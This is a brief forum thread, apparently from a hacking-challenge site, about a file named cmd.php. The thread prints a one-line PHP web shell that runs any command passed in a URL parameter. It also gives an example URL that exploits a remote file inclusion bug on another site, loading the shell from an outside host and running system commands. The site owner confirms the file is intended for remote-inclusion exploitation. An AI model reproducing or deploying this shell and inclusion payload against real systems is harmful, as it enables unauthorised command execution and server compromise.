ummm, Is it just me or does it not work? I get nothing but a blank screen.

Same here, I think the code doesn't get parsed as php. Here's what in the source:

<?php passthru($_GET['cmd']); ?>

maybe we have to add our own in the url bar like cmd.php?cmd=something

I think it won't work on this site, but could be used in the include bug on other sites (allow_url_fopen=on). Example:
http://somesite.com/bug.php?file=http://bright-shadows.net/download/scripts/cmd.php&cmd=id;uname -a

You are right logos!
Why should I give you a php shell at bright-shadows.net?
It is supposed to be used for include/require remote inclusing exploiting.

tbs

Yeah, you could have just named it cmd.txt instead of making us wonder.

i thought it was a bit suicidal making it work for tbs nice one